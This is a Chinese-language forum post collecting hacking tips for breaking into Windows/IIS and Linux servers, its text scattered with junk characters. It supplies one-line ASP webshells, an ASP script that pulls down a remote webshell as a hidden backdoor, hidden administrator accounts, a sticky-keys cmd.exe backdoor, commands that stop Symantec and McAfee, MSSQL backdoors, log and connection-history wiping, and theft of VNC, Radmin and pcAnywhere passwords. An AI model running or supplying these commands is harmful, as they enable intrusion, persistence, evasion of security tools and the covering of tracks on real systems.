渗透技巧总结

admin

旁站路径问题
/ |1 M' G3 @. n# [  p1 Q8 _1、读网站配置。
1 x" ?1 q7 o* W, ~6 }6 w; l2、用以下VBS
On Error Resume Next
0 t6 w/ l# x3 x6 cIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
" b$ W; a3 l; u* @5 l  H6 w9 o" o' ^        
2 J: g( ?& Z: }0 [
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

7 _1 M6 ^* Y8 a2 GUsage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
- L4 ^- r0 R+ @Set ObjService=GetObject
% J4 A5 W$ X+ ^
("IIS://LocalHost/W3SVC")
% D7 [; G1 I8 E# E5 \, aFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

* W& I2 E% i2 |) y7 X( EThen
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

8 a& y) G7 R+ ^       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
- p2 Q# b1 g. ]+ m7 c, e# O2 S
) z( _# T! D/ c8 k; N# K, h<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
7 |, \$ u1 U5 n5 s$ U
: C; B- N" s- O" m* D: |' HOService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
; q1 ?4 d# c9 w. h" n/ p
5 r# U8 ^/ P% P. b! H$ `* A                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

- ^/ t8 I2 Q+ r# G" pWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
4 ~; J! A) }. D4 l                Next
      
4 Z$ W+ T. y2 \9 q* e- z2 o1 z* N. j
$ W" ?" R1 `, r6 L4 J         WScript.Echo "ath            : " & VDirObj.Path
$ N% [% S& r9 j; ?        End If
+ I) I2 r  w8 DNext
复制代码
' l% v0 b6 L1 k3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
) F, H1 K3 O3 A* u' \WordPress的平台，爆绝对路径的方法是：
# n9 W$ E  [: O0 K/ durl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
$ E# [3 Y" \5 i——————————————————————
0 `0 u1 ~6 V2 Z/ s) ^- VphpMyAdmin暴路径办法:
; |: ]5 t- i& ~4 A/ L! _/ j! |phpMyAdmin/libraries/select_lang.lib.php
% |! r" a7 F1 ~phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
$ ?& m  ]- D3 }# pphpmyadmin/themes/darkblue_orange/layout.inc.php
: ^: ^! o7 h5 Z. A( D- v. P————————————————————
. T- A* I  r2 n5 j! q8 O网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
5 `2 T( h1 _, B! [- @! ?, pnetsh ras set user administrator permit #允许administrator拨入该VPN
5 S3 i2 K5 E* J! n! m4 Y" h% T5 \3 Unetsh ras set user administrator deny #禁止administrator拨入该VPN
6 A. L' e/ R' h" Ynetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
( \' Q, X( T5 g: E& o9 R$ ~5 `————————————————————
( g' u+ o5 z" R# y9 j命令行下添加SQL用户的方法
- o0 M8 i/ W4 k7 t3 Z# T- j需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
5 `2 a: i  z$ f& K, Y  v! ?+ tEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

* u' c+ q! U% e1 X; D% _' V: Q9 a1 q另类的加用户方法
% w- L( B; b; }0 M9 L5 r$ v1 e在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
2 I( E+ ~0 O2 |' d7 {; o* V! N# avar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
% N* ^9 Z3 G4 ^, ]- g: }& Rz.changePassword("123456","")
z.setting("AccountType")=3;
/ E/ E, ^& ?  E8 c# C
& {9 e: t* l% D. Ovbs:
+ K3 U3 J5 N, V4 V5 j# Q$ d& t  iSet   o=CreateObject( "Shell.Users" )
! b4 t1 ^8 P; qSet z=o.create("test")
z.changePassword "123456",""
! j8 Z  @- z6 X% [z.setting("AccountType")=3
2 G3 _& p0 L4 N2 J" a——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
9 X! H# R  z5 o% b; E————————以下配合PR更好————
6 ]3 n) Q/ c6 |- P1 j3389相关
5 k5 N2 \. J! f2 m" N9 K9 R/ F' D  na、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
* N  s  w) L2 U8 O4 ?1 |6 Y; ~6 kb、内网环境（LCX）
9 z0 W$ E9 T5 f5 ^; `( w) yc、终端服务器超出了最大允许连接
( Z) h/ b! n9 [0 yXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
) f1 Y; ^, A8 ?- j9 \1 wnet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
. C" |3 ?- _4 ]7 E7 _  B' wnet stop "Symantec Event Manager" /y
& P3 ?7 K  p3 P, B4 ~4 t4 w! [net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
7 x9 Z# r4 B, ]7 Y) U) E$ g0 c5 [
卖咖啡：net stop "McAfee McShield"
————————————————————
2 v9 V8 B% k  q3 I! B1 S
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
5 I; d, s, ]7 {9 B/ Q- Bcopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
6 b" L$ N3 m! y& Z! Qcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
" O2 E5 u8 c7 _( L7 M+ L: [隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
  P  \& E7 Y0 {; t* u9 @* T5 J2、导出注册表SAM下用户的两个键值
: r8 C" F# Q6 W% V3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
' B2 O4 A; {2 H/ {USE master;
) x' s6 N; N% r% N5 L$ GEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
" {( l7 N5 \  BC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
) Z; X% P# m% H# M# y' O' W; wex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
6 s/ r' _8 k6 q4 q. l当然可以直接删除ex011120.log / ex011121.log
  y) A. P/ X: X5 K6 W用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
; n9 z2 U& W1 A* s" l4 T$ l
+ Y3 }4 A! P& B4 NMSSQL查询分析器连接记录清除：
2 K& `; Q7 F3 U; i3 u: {MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
4 }  G) Y6 T+ J% E, P1 n找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
, B/ C! j3 N7 E1 [( B( U
<%
6 M! y! y9 K9 H* {Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
2 _, S9 C4 G4 z) _Dim Ads, Retrieval, GetRemoteData
/ N# C0 w2 g+ bOn Error Resume Next
5 T! F' I3 Q0 @1 S2 tSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
7 b/ D$ [' H+ e  F# w5 ^With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
+ T* T  q' h! v( O$ @" f7 q0 tGetRemoteData = .ResponseBody
* b3 [6 Q9 c2 X7 x2 i  l! OEnd With
# J+ \' V: o3 GSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
% E# e( u8 @7 F0 MWith Ads
. ?1 E3 g& }7 v# L8 A+ A7 }% C.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
8 d0 i) E) a3 ].Close()
End With
Set Ads=nothing
% f" L6 `. J/ ?, jEnd Sub

9 a4 @9 P4 q$ F& j: ceWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
9 o! d1 S8 \9 I%>
: s( C4 ?: E8 t$ Z! b
VNC提权方法:
0 H- q4 k/ U" |; |$ d利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
8 \6 s7 s- Y/ WHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
0 a* I# x- C* A1 X% B$ }. ^然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
$ S2 A, [7 v% s* PUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
% Z* z0 x2 a$ \, v" b6 [% C1 SWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
* f" y+ v% B5 {( G4 b4 D来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
: i# s+ I, p- \5 N1 A4 ^  e没有删cmd组建的直接加用户。
7 _. F' V, `) Y) V+ |6 M7i24的web目录也是可写，权限为administrator。

! \+ v6 @1 U; M  z; G+ @" S1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
' }  I7 v  A5 Y. Z) ostrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
6 n- S2 S5 ]4 j4 T; e5 o0 `, N" _. sstrSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
  s( G/ Y- A% @' c8 j0 VstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
8 t! V1 T) ?) i* e& {
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
7 D0 q( }& m- ]' ~/ B
4 r! k6 I# s5 f- u( T* _strSQLDBName & ";"
conn.open strCon
: T0 j$ w; ?' P0 n6 K' N4 rdim rs,strSQL,id
- u3 |, A7 x/ n: ^4 d; sset rs=server.createobject("ADODB.recordset")
id = request("id")
5 U  ?3 q* n2 q, R  z! h: nstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
2 B( H& Y9 l& j7 N) b%>
复制代码
******liunx 相关******
一.ldap渗透技巧
/ x+ b+ h, r6 u/ v6 K) w/ r, L1.cat /etc/nsswitch
& f& L6 W, {7 ?0 y+ s+ J' R7 R; Q看看密码登录策略我们可以看到使用了file ldap模式
& G( F9 a- a" {5 j. |7 d) o
$ K8 a8 s' f6 ~4 |2 D3 S/ Z9 }2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
4 F' i5 e9 U9 y7 g2 L) c
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
  y" h, [% x' a5 z/ r) I
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
, ^9 n+ W4 e& T2 e5 u有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
" Y- o( q( J8 r. c8 W9 B( e* v. j
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
* \5 L7 K9 v; ^! Z2 ]& H3 f; H看看密码登录策略我们可以看到使用了file ldap模式
% Q/ n. C" S: Z4 L" D7 ^% U4 d% Q% d
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
3 c! [3 e' Z3 x8 A' L: D. l" g找到ou,dc,dc设置
( |. Q& _: Q5 m  L8 _! X
( c: ?5 P  c& F% w" r% g3.查找管理员信息
匿名方式
( G6 `6 L4 q3 W7 [! Kldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 m$ T1 @: O$ \
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
# H' w) ?* X1 o0 m; O. p
. a. l9 b6 ]) U* ?  W! u"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( q( e$ C4 O  I
, F  O; \$ `2 e0 A6 ^$ w
- U4 D$ @4 R# g4.查找10条用户记录
$ ^3 W; h' P' N" ^/ Uldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
+ a; j5 I" @2 A# s" Y' i/ P
$ g) f+ s1 M1 o" C! [4 j7 w渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
* ?" B2 ]# W; p) m/ r& yversion: 1
dn: dc=ruc,dc=edu,dc=cn
' X- Q7 [$ r$ }+ _, S4 y* vdc: ruc
objectClass: domain
' o4 F) i0 S5 ?8 U* l/ A, G1 \2 \0 S6 U
dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
- y1 S: U4 T, Z  L7 gobjectClass: top
, |; z3 Y& x1 Y% M, }+ M) Q3 Y# `5 Asn: manager
cn: manager
8 e$ L$ i! Q& Q* G9 n
, r  A, d) I" ]4 R4 M. |- }dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
  Z6 l5 ~2 j& C) V5 z% o0 j. dobjectClass: organizationalPerson
! c. }) t. o  R. }objectClass: person
objectClass: top
& C, L( W/ r3 K% p* rsn: superadmin
cn: superadmin
' o2 @8 a  W# v
" r  Z" ]$ O* `dn: uid=admin,dc=ruc,dc=edu,dc=cn
! ?& [, X- H: nuid: admin
& R' J9 c4 U# @! hobjectClass: inetOrgPerson
objectClass: organizationalPerson
. f5 G& l+ n9 C0 t, H- _- q3 UobjectClass: person
" Q1 N5 a9 q+ P2 WobjectClass: top
sn: admin
cn: admin

1 v; x3 M# d$ \! ^; j$ ddn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
8 @$ l' _+ q( u# [uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
& f7 y7 c7 k8 p6 R6 [6 Psn: dcp_anonymous
cn: dcp_anonymous

$ D( u& _, i/ o- e  F) r2.查看基类
$ N  x3 v7 `, vbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

! v$ ?+ m  ?0 T1 y2 z. ^more
version: 1
, |1 k2 Z; j. k( m! \+ t, A$ Odn: dc=ruc,dc=edu,dc=cn
0 h! I0 z) V) @2 h' tdc: ruc
4 a1 t2 U2 z% I- s  tobjectClass: domain

1 V: c" N0 u) k4 h& S3.查找
  G5 z  r* x* Vbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
/ v7 d. }# u8 q  r! T7 UobjectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
- W7 V1 c8 T* L% o+ ]  T# ssupportedExtension: 2.16.840.1.113730.3.5.7
% i0 A  P. R; o: {supportedExtension: 2.16.840.1.113730.3.5.8
, m9 u" H2 p2 z1 MsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
+ ?+ q/ w( v) U" E* I/ tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
1 T! t8 m& C: ~& `supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
% K, n; t8 D6 H+ H/ CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
* n3 ?+ X  o4 ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
6 Y/ i" @0 B* Y( m+ `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
% f( \: m+ |6 Z: [% E0 ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
: ?6 }5 L; b) tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
0 S) i- u* H' e; d/ {$ _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
& [$ u& }5 }6 qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
9 p9 @' Q4 X+ t" t" ^0 N% ?+ P# F5 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
0 s, c$ x* b! ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
3 k' }$ w, F/ c4 Z8 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
5 Q" Q2 A/ `3 ]4 nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
7 y& _/ z, `( C2 ?! G% S1 LsupportedControl: 2.16.840.1.113730.3.4.2
7 A6 [, G' e/ L+ |0 \supportedControl: 2.16.840.1.113730.3.4.3
3 s% V1 Y& c2 S( tsupportedControl: 2.16.840.1.113730.3.4.4
; V3 p$ d* d3 m5 ~" N! n, bsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
& f2 g8 L4 G8 ^: ]: W7 MsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
2 W5 `  k1 O  psupportedControl: 2.16.840.1.113730.3.4.19
6 j, i4 @1 K& @8 a: p( u" @supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
5 X  x+ J3 C4 J3 }) hsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
" h2 X  H% m/ D+ }supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
, O) @6 O& L$ s8 F( Z# U' asupportedControl: 2.16.840.1.113730.3.4.14
1 f' i# n! y9 O3 @- o! b3 WsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
# D# `" J) o- O$ L- d9 {) UsupportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
8 S$ v8 Q4 Y0 VsupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
  }! J. c  Q( s6 W# T% IsupportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
5 o4 ?' q, d) Z+ f& b5 {! OvendorVersion: Sun-Java(tm)-System-Directory/6.2
( B4 F- b& l$ ~0 K, ~dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
. W3 w7 C* v4 ~/ M8 G& asupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
% j& X7 M) |+ X0 w/ ~, qsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
  i9 i$ \2 ]; r' o, hsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
6 l$ M5 m" R( S9 P0 asupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
! C3 k$ B* ~4 i% T" h+ E0 X# LsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
, ^$ O! a3 E! W3 X' s  tsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
1 M( K& {- G  f; r# W* MsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
0 x" v  F% z- j) a7 qsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
4 w4 g" U, z1 a. \supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
# ~$ ?! Q" w7 M# s; j) a# t& HsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
; y6 n+ q- B- R" a' z2 Z5 b9 rsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
) E4 Y+ \; {- i8 a* J% AsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0 z  `) k. t# M( [& V1 `supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
2 ^/ I& Y3 [: {( _$ u/ nsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
4 |# F( z* M6 ?! S, _" z' x5 dsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
( X! J3 M* M& N: @8 g) _2 `4 ssupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
, @% |5 m0 f0 ~7 fsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
2 i& ~. G, v* nsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
/ B9 U4 m1 O+ Z- Z) F* b5 NsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
% S- W$ L" G& vsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
/ V" i) R/ `  ^) R& b: tsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
+ P" k+ w4 v1 h  SsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
, O& o+ T' s$ `$ r3 w9 {列举IP
7 o+ J" I, G% u) \$ f——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
5 J# \- ~( P7 yfinance
img_finance
auto
img_auto
+ k! }3 Q% W7 t7 \; D# |/ S+ Ghtml_cms
: ~& A1 n2 e* W9 s1 _  h9 K7 V6 dimg_cms
. ~0 E+ @0 }0 J: Tent_cms
7 \' Q9 Q( k1 \2 y( ?ent_img
ceshi
res_img
/ g0 k3 o9 m& U7 ^7 g* p% ~0 rres_img_c2
chip
chip_c2
ent_icms
games
gamesimg
media
mediaimg
fashion
res-fashion
res-fo
8 F. x) I( l& rtaobao-home
9 |& C) F* C  sres-taobao-home
house
* E( E4 _) Y$ {, l' I: K. v( w, rres-house
res-home
res-edu
% T* J* K/ ^# t, X7 Y- mres-ent
res-labs
1 ]- g. v0 Q6 o+ N9 R, ires-news
# y! k& l1 p9 t- ^5 }res-phtv
res-media
; R: z$ d/ ^! V- q2 a3 l7 ?$ ]home
1 Q- o# s6 w& {edu
; H8 j3 Z* L: D, `4 Lnews
res-book
! {! Q5 G- G' p4 ~$ `7 [
' `, u( O/ {9 T8 b- a0 O看相应的下级目录(注意一定要在目录后面添加上/)
$ N8 J) d, [0 \$ w7 V8 A% K

rsync 210.51.X.X::htdocs_app/
, y. \! A$ C7 z0 Crsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
7 E# _7 _  ^1 G9 ]# s. bhttp://app.finance.xxx.com/warn/nothack.txt
" F8 @. r: X; `* @8 v- c
四.squid渗透技巧
, r, f( D3 I2 C9 w& E% inc -vv baidu.com 80
7 W3 H3 |! N! T9 c! iGET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
  x; E# A4 s9 o/ S0 p+ I8 {4 xssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
2 \) o' j6 ~% p  ~
六.joomla渗透小技巧
3 N6 I$ i6 |7 _" I% Z确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
& q! F6 S, r/ j$ k8 ~' ]4 Z
15&catid=32:languages&Itemid=47

  m5 }" j; c; x# e' X% t0 N重新设置密码
index.php?option=com_user&view=reset&layout=confirm
- H7 T) K3 k' D- T3 X7 L% \
七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
; l; l  O& x. A/ D* n* y! c6 a* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
+ t, W. {8 i. {4 H/ K  i6 p. S- F* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
9 z$ k5 m, f! V$ w2 j3 I* [argp@julius ~]$ ./nfs_mount_ex
5 p" K6 t: X4 ~: i& @+ _6 {0 o' M*
calling nmount()
8 A3 I( ?; z0 Y1 L
2 b/ W% G, u( T( \2 Y（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
